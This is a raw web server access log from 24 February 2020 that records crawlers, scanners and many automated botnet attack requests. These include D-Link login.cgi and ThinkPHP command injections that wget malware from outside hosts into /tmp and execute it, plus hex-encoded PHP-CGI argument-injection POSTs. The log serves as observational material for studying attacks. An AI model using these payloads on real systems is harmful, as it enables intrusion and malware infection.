188.138.75.88 - - [24/Feb/2020:00:00:05 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [24/Feb/2020:00:00:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [24/Feb/2020:00:00:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
111.19.255.5 - - [24/Feb/2020:00:03:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
88.132.222.129 - - [24/Feb/2020:00:06:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
128.14.140.150 - - [24/Feb/2020:00:12:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
191.5.160.83 - - [24/Feb/2020:00:14:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
36.92.143.235 - - [24/Feb/2020:00:16:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
195.158.95.4 - - [24/Feb/2020:00:19:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
178.156.83.155 - - [24/Feb/2020:00:21:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
190.59.7.219 - - [24/Feb/2020:00:24:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
201.231.136.41 - - [24/Feb/2020:00:25:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
46.97.76.238 - - [24/Feb/2020:00:26:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http:///d%20-68.183.111.251O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "Rift/2.0"
46.97.76.238 - - [24/Feb/2020:00:26:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http:///d%20-68.183.111.251O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "Rift/2.0"
46.97.76.238 - - [24/Feb/2020:00:26:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http:///d%20-68.183.111.251O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "Rift/2.0"
46.97.76.238 - - [24/Feb/2020:00:26:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http:///d%20-68.183.111.251O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "Rift/2.0"
190.123.213.180 - - [24/Feb/2020:00:27:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
139.162.119.197 - - [24/Feb/2020:00:35:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
105.96.57.52 - - [24/Feb/2020:00:36:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
105.96.57.52 - - [24/Feb/2020:00:36:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.197.27.4 - - [24/Feb/2020:00:45:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.13.75.180 - - [24/Feb/2020:00:53:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
80.22.48.157 - - [24/Feb/2020:00:54:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
80.249.41.249 - - [24/Feb/2020:00:57:11 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.119.218.63 - - [24/Feb/2020:00:57:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
85.105.143.94 - - [24/Feb/2020:00:59:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
151.30.57.221 - - [24/Feb/2020:01:16:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.115.53.222 - - [24/Feb/2020:01:19:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.70.80.235 - - [24/Feb/2020:01:26:43 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
118.70.80.235 - - [24/Feb/2020:01:26:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
114.33.148.240 - - [24/Feb/2020:01:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.46.36.182 - - [24/Feb/2020:01:29:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
169.197.108.42 - - [24/Feb/2020:01:45:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
177.37.164.125 - - [24/Feb/2020:01:46:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
93.78.123.182 - - [24/Feb/2020:01:49:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
88.250.12.222 - - [24/Feb/2020:01:58:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
194.180.224.249 - - [24/Feb/2020:01:59:57 +0100] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 317 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
5.136.145.20 - - [24/Feb/2020:02:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.136.145.20 - - [24/Feb/2020:02:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
181.29.212.44 - - [24/Feb/2020:02:02:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
201.184.40.61 - - [24/Feb/2020:02:03:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.78.88.73 - - [24/Feb/2020:02:06:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
46.0.16.1 - - [24/Feb/2020:02:09:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.164.30.66 - - [24/Feb/2020:02:11:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
194.180.224.249 - - [24/Feb/2020:02:12:34 +0100] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 317 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
176.98.219.194 - - [24/Feb/2020:02:18:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
88.243.187.200 - - [24/Feb/2020:02:24:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
159.192.249.146 - - [24/Feb/2020:02:25:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
60.191.52.254 - - [24/Feb/2020:02:25:27 +0100] "HEAD http://112.124.42.80:63435/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
140.143.224.191 - - [24/Feb/2020:02:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
140.143.224.191 - - [24/Feb/2020:02:27:35 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
140.143.224.191 - - [24/Feb/2020:02:27:35 +0100] "POST /Admin51f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
73.142.80.93 - - [24/Feb/2020:02:29:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
171.228.99.68 - - [24/Feb/2020:02:31:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
194.180.224.249 - - [24/Feb/2020:02:32:52 +0100] "POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 316 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
85.105.143.94 - - [24/Feb/2020:02:37:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [24/Feb/2020:02:38:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [24/Feb/2020:02:38:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [24/Feb/2020:02:38:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [24/Feb/2020:02:38:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [24/Feb/2020:02:38:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
41.60.239.49 - - [24/Feb/2020:02:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
88.147.196.187 - - [24/Feb/2020:02:40:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
192.241.221.111 - - [24/Feb/2020:02:51:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.221.111 - - [24/Feb/2020:02:51:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
68.56.175.231 - - [24/Feb/2020:02:53:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
192.241.221.111 - - [24/Feb/2020:02:54:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.221.111 - - [24/Feb/2020:02:56:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.221.111 - - [24/Feb/2020:02:57:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.221.111 - - [24/Feb/2020:02:57:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
218.158.126.72 - - [24/Feb/2020:03:03:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [24/Feb/2020:03:03:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [24/Feb/2020:03:03:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [24/Feb/2020:03:03:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [24/Feb/2020:03:04:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
129.211.9.250 - - [24/Feb/2020:03:05:40 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.88.27.34 - - [24/Feb/2020:03:06:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
72.89.143.43 - - [24/Feb/2020:03:10:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
45.143.220.189 - - [24/Feb/2020:03:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
45.143.220.189 - - [24/Feb/2020:03:17:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
121.180.208.154 - - [24/Feb/2020:03:30:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [24/Feb/2020:03:30:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [24/Feb/2020:03:30:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [24/Feb/2020:03:30:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [24/Feb/2020:03:31:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [24/Feb/2020:03:31:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [24/Feb/2020:03:31:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [24/Feb/2020:03:31:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [24/Feb/2020:03:31:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [24/Feb/2020:03:31:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
46.219.30.141 - - [24/Feb/2020:03:35:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
66.249.64.27 - - [24/Feb/2020:03:38:35 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.28 - - [24/Feb/2020:03:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
121.180.208.154 - - [24/Feb/2020:03:40:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [24/Feb/2020:03:40:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [24/Feb/2020:03:40:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [24/Feb/2020:03:40:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [24/Feb/2020:03:41:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
194.180.224.249 - - [24/Feb/2020:03:41:19 +0100] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 317 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
118.89.144.131 - - [24/Feb/2020:03:41:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
45.143.220.189 - - [24/Feb/2020:03:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
45.143.220.189 - - [24/Feb/2020:03:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
139.162.106.181 - - [24/Feb/2020:03:44:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
45.143.220.189 - - [24/Feb/2020:03:47:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
195.175.74.82 - - [24/Feb/2020:03:48:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
77.247.16.203 - - [24/Feb/2020:03:50:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
45.143.220.189 - - [24/Feb/2020:03:51:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
87.103.115.142 - - [24/Feb/2020:03:53:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.206.226.59 - - [24/Feb/2020:03:55:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
177.158.228.243 - - [24/Feb/2020:04:05:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
